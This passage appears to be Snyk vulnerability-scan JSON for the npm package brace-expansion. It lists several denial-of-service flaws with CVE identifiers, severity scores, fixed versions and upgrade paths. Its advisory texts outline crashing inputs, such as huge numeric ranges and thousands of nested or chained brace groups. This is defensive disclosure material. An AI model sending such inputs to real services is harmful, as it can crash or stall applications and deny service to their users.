"brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] 